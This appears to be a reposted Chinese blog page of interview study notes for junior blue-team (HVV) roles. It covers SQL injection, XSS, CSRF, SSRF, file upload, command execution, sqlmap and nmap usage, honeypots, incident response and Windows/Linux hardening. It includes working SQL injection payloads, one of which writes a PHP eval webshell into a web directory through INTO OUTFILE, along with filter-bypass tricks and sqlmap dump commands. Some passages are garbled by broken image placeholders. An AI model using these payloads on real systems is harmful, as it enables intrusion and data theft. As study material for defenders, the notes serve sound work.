当前位置:   article > 正文

HVV蓝初面试题总结

蓝初面试题

1.失效的访问控制
2.加密机制失效
3.注入(包括跨站脚本攻击XSS和SQL注入等)
4.不安全设计
5.安全配置错误
6.自带缺陷和过时的组件
7.身份识别和身份验证错误
8.软件和数据完整性故障
9.安全日志和监控故障
10.服务端请求伪造SSRF

1. SQL注入原理的种类?防御呢?预编译原理?

连接函数有:cancat()、cancat_ws()、group_cancat()
substr() 截取字符串、ascii() 返回字符的ascii码,ascii函数和ord函数是一样的。

报错注入需要用到的函数-----------floor

floor()函数 向下取整,即取不大于x的最大整数。取按照数轴上最接 近要求值的左边值。
rand() 随机产生一个0-1之间的浮点数
报错注入方法

1、floor() :select count(*) from information_schema.tables group by concat((select

2、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj

3、group by会对rand()函数进行操作时产生错误

4、concat:连接字符串功能

5、floor:取float的整数值

6、rand:取0~1之间随机浮点值

8、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));第二个参数如果不是xpath格式会爆数据

9、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);第二个参数如果不是xpath格式会爆数据

-1 union select 1,schema_name from information_schema.schemata --+ 查询数据库名
-1 union select 1,table_name from information_schema.tables where table_schema =‘数据库名’
-1 union select 1,column_name from information_schema.columns where table_name=‘表名’ and table_schema =‘数据库名’
字符串拼接常用函数

concat():将多个字符串连接成一个字符串 例子:select concat(‘M’,‘y’,‘S’,‘Q’,‘L’)
concat_ws():将多个字符串连接成一个字符串,但可以指定分隔符 例子:select concat_ws(’_’,‘M’,‘y’,‘S’,‘Q’,‘L’)
group_concat():将多行结果连接成一组 例子:select group_concat(user) from user;
limit 0,1 从第一行开始,展示一行数据。 limit 0,2 从第一行开始,展示两行数据
  • 1
  • 2
  • 3
  • 4

布尔盲注相关函数

substr()、substring()、mid()

只返回true和false

原理:在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判

断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。

种类:字符,数字,布尔,报错,延迟,联合,堆叠,宽字节,XFF等

修复:使用预编译,PDO,正则表达式过滤,开启魔术引号,加装WAF等

XFF:x forword for*127.0.0.1

预编译原理:预编译将一次查询通过两次交互完成,第一次交互发送查询语句的

模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代

入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成

字符串进行查询处理,因此杜绝了sql注入的产生。

  • 使用PreparedStatement,它是一种预编译的SQL语句,可以避免将用户输入的数据直接拼接到SQL中,从而防止SQL注入¹²³。
  • 使用存储过程,它是一种在数据库中预先定义好的一组SQL语句,可以通过参数来调用,也可以避免SQL注入³。
  • 验证输入,在使用用户输入的数据之前,对其进行合法性检查,如长度、类型、格式等,排除非法字符或语句³。

sql注入

八、宽字节注入

1、在注入点后键入%df,然后按照正常的诸如流程开始注入

2、黑盒测试:

在可能的注入点后键入%df,之后进行注入测试

3、白盒测试:

查看MySql编码是否为GBK

是否使用preg_replace把单引号替换成’

是否使用addslashes进行转义

是否使用mysql_real_escape_string进行转义

4、防止宽字节注入

使用utf-8,避免宽字节注入

ps:不仅在gbk,韩文、日文等等都是宽字节,都很有可能存在宽字节注入漏洞

mysql_real_escape_string,mysql_set_charset(‘gbk’,$conn);

设置参数,character_set_client=binary

6.SQL注入有哪些绕过姿势?

1.大小写绕过注入

2.双写绕过注入

3.编码绕过注入

4.内联注释绕过注入

secure_file_priv支持web目录文件导出,数据库File权限,获取物理路径

  • 写入webshell?

?id=1’ union select 1,“<?php @eval($_POST['shell']);?>”,3 into outfile ‘C:\phpstudy\WWW\sqli\shell.php’#
?id=1’ union select 1,“<?php @eval($_POST['shell']);?>”,3 into dumpfile ‘C:\phpstudy\WWW\sqli\shell.php’#

into outfile ‘C:/wamp64/www/shell.php’ fields terminated by ‘<?php phpinfo()?>’;

fields terminated by可以理解为以每个字段的位置添加xx内容

into outfile ‘C:/wamp64/www/shell.php’ lines starting by ‘<?php phpinfo()?>’;
lines starting by可以理解成以每行开始的位置添加xx语句
?id=1 INTO OUTFILE ‘物理路径’ lines terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE ‘物理路径’ fields terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE’物理路径’columns terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE ‘物理路径’ lines startingby (这里是WebShell)#

2.XSS的种类有哪些?区别?修复呢?

种类:存储型,反射型,DOM型

区别:存储型:常出现在信息修改添加等地方,导致恶意代码被存储在数据库

中,每当被攻击者访问到后就会触发执行;反射型:常出现在url中,一般需要

攻击者提前构造好恶意链接,欺骗用户点击,触发攻击代码;DOM型:攻击代

码在url中,然后输出在了浏览器的DOM节点中。简单比较会发现,存储和反射

都经过服务器,而DOM是纯前端。

修复:对输入数据进行Html Encode 处理,白名单过滤,过滤JavaScript 事件的

标签,开启http-only,装WAF等

7.XSS的绕过方法?

答:

  1. 大小写转换;

  2. 引号的使用;

  3. 使用 / 代替空格;

  4. 编码绕过(将字符进行十进制或者十六进制转码);

5.双写绕过;

6.使用制表符 换行符和回车符

7.使用 IMG 源

8.XSS的利用方式(危害)?
窃取cookie
抓取屏幕截图
获取键盘记录
重定向
植入广告,恶意链接
网页钓鱼
网页挂马
结合网页挂马或者其他工具(Metasploit)获取服务器或者操作系统权限
9.XSS的防范措施?

3.对用户的输入进行过滤
比如说添加黑名单或者白名单规则,比如说对& " ’ / expression javascript import等敏感字符进行转义
4.使用 HttpOnly Cookie
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样可以有效的防止XSS攻击窃取cookie。
response.addHeader(“Set-Cookie”, “uid=112; Path=/; HttpOnly”);
1.设置X-XSS-Protection属性
该属性被所有的主流浏览器默认开启。X-XSS-Protection,即XSS保护属性,是设置在响应头中目的是用来防范XSS攻击的。在检查到XSS攻击时,停止渲染页面。
header(“X-XSS-Protection: 1”);
2.开启CSP网页安全策略sqlmap -u [“url”] --dbs #获取数据库

XSS,CSRF和SSRF区别?

XSS: 跨 站 脚 本 攻 击 ; 大小写转换;使用 / 代替空格;编码绕过(将字符进行十进制或者十六进制转码);双写绕过;使用制表符 换行符和回车符

7.使用 IMG 源(过滤js,白名单过滤,开启http only 开启csp安全策略)

CSRF:跨站请求伪造脚本攻击;(加验证码,token, 验证refer字段 )get/post

SSRF:服务器请求伪造攻击。存在于转码,在线翻译,通过url访问图片地址(@绕过白名单)

区别:XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器

在渲染服务器返回的html页面时,出现了预期值之外的脚本语句被执行。

CSRF:CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求

包内的refer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请

求发送至服务器。 (盗取cookie)
SSRF:SSRF是服务器对用户提供的可控URL过于信任,没有

对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻

击内网或其他服务器
(10)SQL注入有哪些常见的特征?一些常见的关键字:select,where、order、union、update、floor、exec、information_schema、extractvalue、delete、insert、ascii、table、from等一些常见的sql函数:user()、@@version、[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uVM9naUr-1686453350289)(file:///C:\Users\bfq\AppData\Roaming\Tencent\QQTempSys%W@GJ$ACOF(TYDYECOKVDYB.png)]ctxsys.drithsx.sn()等针对双引号、单引号、等号之类的符号,可能会进行相关的编码操作,例如url编码,需要注意。(11)XSS弹窗函数和常见的XSS绕过策略?弹窗函数:alert、confirm、prompt、onclick绕过策略:大小写混写;双写;<img/src=1>;%0a或者%0d绕过;拼凑绕过CSRF(跨站请求伪造)漏洞原理?

XXE

DTD外部实体声明
过滤

禁用外部实体引入(PHP:libxml_disable_entity_loader(true))过滤关键字

文件上传

文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力

js禁用绕过,改后缀名绕过,后缀名大小写,图片吗绕过%00,0x00截断

文件包含

allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)
session文件包含漏洞

(1)利用条件:

  • 知道session的存储位置
  • 有可控的值传入session中
  • 存在本地文件包含漏洞

命令执行

PHP:exec、shell、system、popen等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
编码绕过,进制绕过,反写,内联拼接绕过
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sfQIBIhD-1686453350293)(C:\Users\bfq\AppData\Roaming\Typora\typora-user-images\image-20230603193328005.png)]

过滤分隔符 %0a

|	//把前面输出的当作后面的输入 (管道符)
||	//前面为假才执行后面的指令
&	//两条命令都会执行
&&	//前面为假,后面不执行
  • 1
  • 2
  • 3
  • 4

sqlmap

sqlmap -u [“url”] --current-user #获取当前用户名称 :
sqlmap -u [“url”] --current-db #获取当前数据库名称:
sqlmap -u [“url”] -D [‘数据库名’] --tables #列出表名 :
sqlmap -u [“url”] -D [‘数据库名’] -T[‘表名’] --columns #列出字段:
sqlmap -u [“url”] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump #获取字段内容nmap -v

risk强调数量

level强调范围

linux /var/tmp访问临时文件位置

POST型注入一般用 sqlmap -u “url” --data “POST参数”

  1. nmap -sT 192.168.96.4 //TCP连接扫描,不安全,慢

  2. nmap -sS 192.168.96.4 //SYN扫描,使用最频繁,安全,快

  3. nmap -Pn 192.168.96.4 //目标机禁用ping,绕过ping扫描

  4. nmap -sU 192.168.96.4 //UDP扫描,慢,可得到有价值的服务器程序

-v 192.168.96.4 //显示冗余信息(扫描细节)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EEfIvIKY-1686453350294)(C:\Users\bfq\AppData\Roaming\Typora\typora-user-images\image-20230604081540416.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NFkTvvO9-1686453350300)(C:\Users\bfq\AppData\Roaming\Typora\typora-user-images\image-20230604081600008.png)]

对蜜罐有什么了解?

蜜罐是对攻击者的欺骗技术,用以监视、检测、分析和溯源攻击行为,没有业务

用途。蜜罐的流量预示着扫描或攻击行为,较好聚焦攻击流量。

应该注意哪些地方的加固
21端口:FTP文件传输协议端口,用来捕获黑客的FTP爆破行为
22端口:SSH端口 链接Linux主机SSH服务的端口,用来捕获黑客的SSH爆破行为
23端口:Telnet服务,命令执行服务,用来探测黑客对于telnet的爆破
80端口/443端口:WEB服务的端口,用来捕获黑客的WEB攻击行为特征
1521:oracle数据库开放端口,捕获黑客的oracle爆破行为,UDF命令执行等行为
3306:MYSQL端口,用来捕获黑客对于mysql数据库的爆破行为,UDF命令执行等行为
3389:Windows远程桌面端口,用来捕获黑客的爆破行为

5.应急响应的简单流程?

收集信息:由安全设备收集主机,样本信息,以及一些客户信息。

判断类型:是否是安全事件?具体为什么安全事件?挖矿?DOS?等。

深入分析:从系统角度深入分析,日志,进程,启动项这些去分析。评估风险,

清理处置:杀掉异常进程,删除异常文件,打补丁或者修复相关文件等。减少攻击影响范围

产出报告:对此次安全事件进行一个完整的文档描述。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AZdDlZg9-1686453350301)(C:\Users\bfq\AppData\Roaming\Typora\typora-user-images\image-20230603162836600.png)]

挖矿

**文件?**linux

(1) 任务管理器netstat -anp寻找异常进程PID看端口信息,然后根据端口信息定位到

文件,cd /proc/PID (ls -l查看),禁用可疑的服务项。

(2)

误报如何处理(日志)?

关键字检测

异常请求

行为分析

入侵检测:IDS

入侵防御:IPS

流量威胁检测设备:腾讯御界、奇安信天眼、绿盟、深信服等等

流量监测:科来

应用防火墙(WAF):绿盟WAF、腾讯云WAF、深信服WAF、阿里云WAF等等

蜜罐:默安蜜罐、知道创宇蜜罐等等

防火墙:防火墙(玄武盾)、山石防火墙、360网康/网神防火墙

态势感知:绿盟态势感知、奇安信态势感知(目前部分金融客户对攻击IP封禁在态势感知系统上统一做封禁处理)

SOC:绿盟、奇安信

windows加固方法

修改3389端口

设置安全策略,不允许SAM账户的匿名枚举,不允许

SAM账户和共享的匿名枚举

在组策略中设置阻止访问注册表编辑工具

开启审核对象访问,开启审核目录服务访问,开启审

核系统事件

禁止445端口漏洞

设置屏幕保护在恢复时使用密码保护

设置Windows密码策略:设密码必须满足复杂性,设

置密码长度最小值为8位,最长存留期为30天

开启Windows防火墙,关闭ping服务,打开3389、80

等服务

关闭系统默认共享等…

Linux加固方法? netstat -ap

修改ssh的配置文件,禁止root直接登录

修改密码策略配置文件,确保密码最小长度为8位

确保错误登录3次,锁定此账户5分钟

禁止su非法提权,只允许root和wheel组用户su到root

不响应ICMP请求

设置登陆超时时间为10分钟

结束非法登录用户

木马驻留的方式有哪些去哪些敏感位置排查木马

注册表

服务

自启动目录

集合任务

关联文件类型

网站被挂马如何应急

1.取证,登录服务器,备份,检查服务器敏感目录,查毒(搜索后门文件-注意文件的时间, 用户,后缀等属性),调取日志(系统,中间件日志,WAF日志等);
2.处理,恢复备份(快照回滚最近一次),确定入侵方法(漏洞检测并进行修复)
3.溯源,查入侵IP,入侵手法(网路攻击事件)的确定等
4.记录,归档--------预防-事件检测-抑制-根除-恢复-跟踪-记录通用漏洞的应对等其他 安全应急事件

SQL查询异常流量分析的思路?

数据库短时间内查询增多有可能遭遇到了【扫描】或者【sql注入测试】,可以

结合流量分析工具进行研判。

【select】 和【union】为数据库查询语句特征,当这两者数量出现次数较多而

且差异较小可能存在SOL注入漏洞或正在被扫描器扫描,可监控这两个关键字,

但还需要进一步查看具体请求参数。如:1)使用wireshark打开抓取后的流量

包,2)对于抓取到的数据包筛选出HTTP协议包,在统计处筛选出短时间内流量

较大的IP。

尝试定位一些基本的注入特征(select、union、()、/*、sleep等)。
6.用户名覆盖
渗透测试时,可以能存在这类情况:数据库中已经有一个用户名叫做a了,但是一个新用户注册了账号,新用户的用户名也叫a,但是开发人员并没有对重复的用户名进行提示,而是直接将数据插入数据库,导致老用户的用户名被覆盖了

登录查看时却获取到数据库中同名用户的其他用户信息,导致其他用户信息泄露,或者由于验证用户名存在时,从前端获取到的数据与从数据库获取到的数据不同,但是往数据库中写入的时候却写了相同的部分

厂商设备

1- 奇安信的天眼(流量分析和流量监控,并且可以用他的日志检索模块进行溯源)
2- 奇安信的椒图
3- 绿盟的漏扫设备
4- 微步的蜜罐
5- 深信服的防火墙
6- 深信服的VPN
7- 奇安信的天擎(功能和界面类似于360安全卫士)
8- 绿盟的 T-ONE CLOUD(网络安全防御、应用安全保障、安全合规管理、安全威胁情报)
9- 绿盟的HAWK-S(采用第三代爬虫技术)

天眼(日志)

1- dip – 被攻击的ip
2- dport – 被攻击的端口
3- sip – 源ip
4- sport – 源端口
5- uri – 请求的url地址
6- data – 请求包的正文内容
7- status – 响应包的状态码
8- host – 域名

天眼存在的东西

流量传感器(探针)
文件威胁鉴定器(沙箱)
分析平台
天擎(并不一定有)

威胁情报类告警分析流程

1.确认事件的真实性
2.查询IOC的情报信息——IOC的时效性、相关的情报信息等
3.定位受害ip,确定攻击ip是在内网还是外网
4.排除误报,排除因内部人员操作引起的误报
5.关联分析——定位被扩散的资产,攻击源是否进行了横向渗透,进行了哪些相关的操作,造成了何种后果
6.溯源分析
把时间向前推进5-10分钟,是攻击者首次攻击的时间,分析攻击者是以哪种漏洞进行攻击的,什么方式,何种手段攻击进来的,我们要以何种方式去解决
7.提出处置建议+出报告

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/953971
推荐阅读
相关标签
  

闽ICP备14008679号